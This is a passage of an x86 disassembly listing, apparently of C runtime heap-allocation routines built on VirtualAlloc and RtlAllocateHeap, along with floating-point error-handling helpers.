		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B841
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41B841:				; CODE XREF: sub_41B592+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41B873
; ---------------------------------------------------------------------------

loc_41B84E:				; CODE XREF: sub_41B592+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B864
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41B864:				; CODE XREF: sub_41B592+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_41B873:				; CODE XREF: sub_41B592+2BAj
		shr	edx, cl
		or	[eax], edx

loc_41B877:				; CODE XREF: sub_41B592+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41B880:				; CODE XREF: sub_41B592+1A2j
					; sub_41B592:loc_41B740j
		push	1
		pop	eax

loc_41B883:				; CODE XREF: sub_41B592+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B888	proc near		; CODE XREF: sub_41ACE4+41p
					; sub_41BB80:loc_41BD4Fp
		cmp	ds:dword_4397D0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41B89C
		mov	esi, offset off_4397C0
		jmp	short loc_41B8B9
; ---------------------------------------------------------------------------

loc_41B89C:				; CODE XREF: sub_41B888+Bj
		push	2020h
		push	0
		push	ds:dword_48B684
		call	ds:dword_4240E8	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_41B9C5

loc_41B8B9:				; CODE XREF: sub_41B888+12j
		mov	ebp, ds:dword_4241B4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_41B9AE
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_41B9A0
		mov	eax, offset off_4397C0
		cmp	esi, eax
		jnz	short loc_41B918
		cmp	ds:off_4397C0, 0
		jnz	short loc_41B908
		mov	ds:off_4397C0, eax

loc_41B908:				; CODE XREF: sub_41B888+79j
		cmp	ds:off_4397C4, 0
		jnz	short loc_41B92D
		mov	ds:off_4397C4, eax
		jmp	short loc_41B92D
; ---------------------------------------------------------------------------

loc_41B918:				; CODE XREF: sub_41B888+70j
		mov	[esi], eax
		mov	eax, ds:off_4397C4
		mov	[esi+4], eax
		mov	ds:off_4397C4, esi
		mov	eax, [esi+4]
		mov	[eax], esi

loc_41B92D:				; CODE XREF: sub_41B888+87j
					; sub_41B888+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h

loc_41B94F:				; CODE XREF: sub_41B888+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41B94F
		push	ebx
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch

loc_41B978:				; CODE XREF: sub_41B888+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41B99C
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41B978
; ---------------------------------------------------------------------------

loc_41B99C:				; CODE XREF: sub_41B888+F7j
		mov	eax, esi
		jmp	short loc_41B9C7
; ---------------------------------------------------------------------------

loc_41B9A0:				; CODE XREF: sub_41B888+63j
		push	8000h
		push	0
		push	edi
		call	ds:dword_4241B0	; VirtualFree

loc_41B9AE:				; CODE XREF: sub_41B888+4Bj
		cmp	esi, offset off_4397C0
		jz	short loc_41B9C5
		push	esi
		push	0
		push	ds:dword_48B684
		call	ds:dword_4240E4	; RtlFreeHeap

loc_41B9C5:				; CODE XREF: sub_41B888+2Bj
					; sub_41B888+12Cj
		xor	eax, eax

loc_41B9C7:				; CODE XREF: sub_41B888+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B888	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9CC	proc near		; CODE XREF: sub_41BA22+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	ds:dword_4241B0	; VirtualFree
		cmp	ds:off_43B7E0, esi
		jnz	short loc_41B9F1
		mov	eax, [esi+4]
		mov	ds:off_43B7E0, eax

loc_41B9F1:				; CODE XREF: sub_41B9CC+1Bj
		cmp	esi, offset off_4397C0
		jz	short loc_41BA19
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	ds:dword_48B684
		call	ds:dword_4240E4	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41BA19:				; CODE XREF: sub_41B9CC+2Bj
		or	ds:dword_4397D0, 0FFFFFFFFh
		pop	esi
		retn
sub_41B9CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA22	proc near		; CODE XREF: sub_41BB3B+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:off_4397C4
		push	edi

loc_41BA2F:				; CODE XREF: sub_41BA22+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41BACD
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h

loc_41BA48:				; CODE XREF: sub_41BA22+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41BA89
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	ds:dword_4241B0	; VirtualFree
		test	eax, eax
		jz	short loc_41BA89
		or	dword ptr [edi], 0FFFFFFFFh
		dec	ds:dword_48A07C
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41BA7E
		cmp	eax, edi
		jbe	short loc_41BA81

loc_41BA7E:				; CODE XREF: sub_41BA22+56j
		mov	[esi+0Ch], edi

loc_41BA81:				; CODE XREF: sub_41BA22+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41BA96

loc_41BA89:				; CODE XREF: sub_41BA22+2Cj
					; sub_41BA22+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41BA48

loc_41BA96:				; CODE XREF: sub_41BA22+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41BACD
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41BACD
		push	1
		lea	eax, [ecx+20h]
		pop	edx

loc_41BAAD:				; CODE XREF: sub_41BA22+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41BABE
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41BAAD

loc_41BABE:				; CODE XREF: sub_41BA22+8Ej
		cmp	edx, 400h
		jnz	short loc_41BACD
		push	ecx
		call	sub_41B9CC
		pop	ecx

loc_41BACD:				; CODE XREF: sub_41BA22+11j
					; sub_41BA22+7Dj ...
		cmp	esi, ds:off_4397C4
		jz	short loc_41BADF
		cmp	[ebp+arg_0], 0
		jg	loc_41BA2F

loc_41BADF:				; CODE XREF: sub_41BA22+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BA22	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BAE4	proc near		; CODE XREF: sub_417C3B+3Ap
					; sub_41944F+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_4397C0
		push	esi
		mov	ecx, edx

loc_41BAF0:				; CODE XREF: sub_41BAE4+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41BAFA
		cmp	eax, [ecx+14h]
		jb	short loc_41BB02

loc_41BAFA:				; CODE XREF: sub_41BAE4+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41BB37
		jmp	short loc_41BAF0
; ---------------------------------------------------------------------------

loc_41BB02:				; CODE XREF: sub_41BAE4+14j
		test	al, 0Fh
		jnz	short loc_41BB37
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41BB37
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------

loc_41BB37:				; CODE XREF: sub_41BAE4+1Aj
					; sub_41BAE4+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41BAE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB3B	proc near		; CODE XREF: sub_417C3B+4Dp
					; sub_41944F+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41BB7F
		inc	ds:dword_48A07C
		cmp	ds:dword_48A07C, 20h
		jnz	short locret_41BB7F
		push	10h
		call	sub_41BA22
		pop	ecx

locret_41BB7F:				; CODE XREF: sub_41BB3B+2Bj
					; sub_41BB3B+3Aj
		retn
sub_41BB3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB80	proc near		; CODE XREF: sub_417BC7+4Ap
					; sub_41944F+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:off_43B7E0
		push	edi

loc_41BB8E:				; CODE XREF: sub_41BB80+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41BC39
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41BBF3

loc_41BBB9:				; CODE XREF: sub_41BB80+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41BBDC
		cmp	[edi+4], ebx
		jbe	short loc_41BBDC
		push	ebx
		push	ecx
		push	eax
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx

loc_41BBDC:				; CODE XREF: sub_41BB80+40j
					; sub_41BB80+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41BBB9
		jmp	short loc_41BBF6
; ---------------------------------------------------------------------------

loc_41BBF3:				; CODE XREF: sub_41BB80+37j
		mov	ebx, [ebp+arg_0]

loc_41BBF6:				; CODE XREF: sub_41BB80+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41BC3C

loc_41BC09:				; CODE XREF: sub_41BB80+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41BC28
		cmp	[edi+4], ebx
		jbe	short loc_41BC28
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	[edi+4], ebx

loc_41BC28:				; CODE XREF: sub_41BB80+8Dj
					; sub_41BB80+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41BC09
		jmp	short loc_41BC3C
; ---------------------------------------------------------------------------

loc_41BC39:				; CODE XREF: sub_41BB80+14j
		mov	ebx, [ebp+arg_0]

loc_41BC3C:				; CODE XREF: sub_41BB80+87j
					; sub_41BB80+B7j
		mov	esi, [esi]
		cmp	esi, ds:off_43B7E0
		jz	short loc_41BC5B
		jmp	loc_41BB8E
; ---------------------------------------------------------------------------

loc_41BC4B:				; CODE XREF: sub_41BB80+54j
					; sub_41BB80+A3j
		mov	ds:off_43B7E0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41BD83
; ---------------------------------------------------------------------------

loc_41BC5B:				; CODE XREF: sub_41BB80+C4j
		mov	eax, offset off_4397C0
		mov	edi, eax

loc_41BC62:				; CODE XREF: sub_41BB80+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41BC6E
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41BC7A

loc_41BC6E:				; CODE XREF: sub_41BB80+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41BD4F
		jmp	short loc_41BC62
; ---------------------------------------------------------------------------

loc_41BC7A:				; CODE XREF: sub_41BB80+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41BCA9

loc_41BC98:				; CODE XREF: sub_41BB80+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41BCA9
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41BC98

loc_41BCA9:				; CODE XREF: sub_41BB80+116j
					; sub_41BB80+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	ds:dword_4241B4	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_41BD81
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_417330
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41BD10
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx

loc_41BCE6:				; CODE XREF: sub_41BB80+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41BCE6

loc_41BD10:				; CODE XREF: sub_41BB80+15Ej
		mov	ds:off_43B7E0, edi
		lea	eax, [edi+2018h]

loc_41BD1C:				; CODE XREF: sub_41BB80+1A8j
		cmp	ecx, eax
		jnb	short loc_41BD2C
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41BD2A
		add	ecx, 8
		jmp	short loc_41BD1C
; ---------------------------------------------------------------------------

loc_41BD2A:				; CODE XREF: sub_41BB80+1A3j
		cmp	ecx, eax

loc_41BD2C:				; CODE XREF: sub_41BB80+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------

loc_41BD4F:				; CODE XREF: sub_41BB80+F2j
		call	sub_41B888
		test	eax, eax
		jz	short loc_41BD81
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	ds:off_43B7E0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------

loc_41BD81:				; CODE XREF: sub_41BB80+143j
					; sub_41BB80+1D6j
		xor	eax, eax

loc_41BD83:				; CODE XREF: sub_41BB80+D6j
					; sub_41BB80+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD88	proc near		; CODE XREF: sub_41BB80+4Ap
					; sub_41BB80+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41BDCD
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41BDBC
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41BDC5
; ---------------------------------------------------------------------------

loc_41BDBC:				; CODE XREF: sub_41BD88+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41BDC5:				; CODE XREF: sub_41BD88+32j
		lea	eax, [edi+8]
		jmp	loc_41BE9B
; ---------------------------------------------------------------------------

loc_41BDCD:				; CODE XREF: sub_41BD88+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41BDD6
		mov	eax, esi

loc_41BDD6:				; CODE XREF: sub_41BD88+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41BE20

loc_41BDDD:				; CODE XREF: sub_41BD88+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41BE13
		push	1
		lea	ebx, [eax+1]
		pop	esi

loc_41BDE9:				; CODE XREF: sub_41BD88+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BDF2
		inc	ebx
		inc	esi
		jmp	short loc_41BDE9
; ---------------------------------------------------------------------------

loc_41BDF2:				; CODE XREF: sub_41BD88+64j
		cmp	esi, edx
		jnb	short loc_41BE44
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BE00
		mov	[ecx+4], esi
		jmp	short loc_41BE0C
; ---------------------------------------------------------------------------

loc_41BE00:				; CODE XREF: sub_41BD88+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41BEA5

loc_41BE0C:				; CODE XREF: sub_41BD88+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41BE18
; ---------------------------------------------------------------------------

loc_41BE13:				; CODE XREF: sub_41BD88+59j
		movzx	esi, bl
		add	eax, esi

loc_41BE18:				; CODE XREF: sub_41BD88+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41BDDD

loc_41BE20:				; CODE XREF: sub_41BD88+53j
		lea	esi, [ecx+8]

loc_41BE23:				; CODE XREF: sub_41BD88+EBj
					; sub_41BD88+F2j
		cmp	esi, edi
		jnb	short loc_41BEA5
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41BEA5
		mov	al, [esi]
		test	al, al
		jnz	short loc_41BE75
		push	1
		lea	ebx, [esi+1]
		pop	eax

loc_41BE3B:				; CODE XREF: sub_41BD88+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BE65
		inc	ebx
		inc	eax
		jmp	short loc_41BE3B
; ---------------------------------------------------------------------------

loc_41BE44:				; CODE XREF: sub_41BD88+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE55
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41BE5E
; ---------------------------------------------------------------------------

loc_41BE55:				; CODE XREF: sub_41BD88+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi

loc_41BE5E:				; CODE XREF: sub_41BD88+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41BE9B
; ---------------------------------------------------------------------------

loc_41BE65:				; CODE XREF: sub_41BD88+B6j
		cmp	eax, edx
		jnb	short loc_41BE7C
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41BEA5
		mov	esi, ebx
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------

loc_41BE75:				; CODE XREF: sub_41BD88+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------

loc_41BE7C:				; CODE XREF: sub_41BD88+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE8D
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41BE96
; ---------------------------------------------------------------------------

loc_41BE8D:				; CODE XREF: sub_41BD88+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41BE96:				; CODE XREF: sub_41BD88+103j
		mov	[esi], dl
		lea	eax, [esi+8]

loc_41BE9B:				; CODE XREF: sub_41BD88+40j
					; sub_41BD88+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41BEA7
; ---------------------------------------------------------------------------

loc_41BEA5:				; CODE XREF: sub_41BD88+7Ej
					; sub_41BD88+9Dj ...
		xor	eax, eax

loc_41BEA7:				; CODE XREF: sub_41BD88+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BD88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEAC	proc near		; CODE XREF: sub_41944F+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41BEE6
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------

loc_41BEE6:				; CODE XREF: sub_41BEAC+26j
		jnb	short loc_41BF4D
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41BF4D
		lea	eax, [ecx+edx]

loc_41BEFB:				; CODE XREF: sub_41BEAC+59j
		cmp	eax, esi
		jnb	short loc_41BF09
		cmp	byte ptr [eax],	0
		jnz	short loc_41BF07
		inc	eax
		jmp	short loc_41BEFB
; ---------------------------------------------------------------------------

loc_41BF07:				; CODE XREF: sub_41BEAC+56j
		cmp	eax, esi

loc_41BF09:				; CODE XREF: sub_41BEAC+51j
		jnz	short loc_41BF4D
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41BF41
		cmp	esi, eax
		jbe	short loc_41BF41
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41BF38
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41BF33

loc_41BF2C:				; CODE XREF: sub_41BEAC+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41BF2C

loc_41BF33:				; CODE XREF: sub_41BEAC+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------

loc_41BF38:				; CODE XREF: sub_41BEAC+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax

loc_41BF41:				; CODE XREF: sub_41BEAC+68j
					; sub_41BEAC+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx

loc_41BF46:				; CODE XREF: sub_41BEAC+38j
		mov	[ebp+var_4], 1

loc_41BF4D:				; CODE XREF: sub_41BEAC:loc_41BEE6j
					; sub_41BEAC+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BEAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41BF55(int,int,double,int)

sub_41BF55	proc near		; CODE XREF: sub_417CA4+51p
					; sub_417DEB+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_43BF38, 0
		jnz	short loc_41BF8A
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41C50A
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41BF8A:				; CODE XREF: sub_41BF55+Aj
		push	0FFFFh
		mov	ds:dword_48A014, 21h
		push	[ebp+arg_C]
		call	sub_41C77D
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41BF55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41BFA8(int,int,double,double,int)

sub_41BFA8	proc near		; CODE XREF: sub_417CA4:loc_417D67p
					; sub_417DEB:loc_417EAEp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2F3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BFE6
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41C040
		add	esp, 18h

loc_41BFE6:				; CODE XREF: sub_41BFA8+1Aj
		push	[ebp+arg_0]
		call	sub_41C5DD
		cmp	ds:dword_43BF38, 0
		pop	ecx
		jnz	short loc_41C024
		test	eax, eax
		jz	short loc_41C024
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41C50A
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C024:				; CODE XREF: sub_41BFA8+4Ej
					; sub_41BFA8+52j
		push	eax
		call	sub_41C592
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41C77D
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_41BFA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C040	proc near		; CODE XREF: sub_41BFA8+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
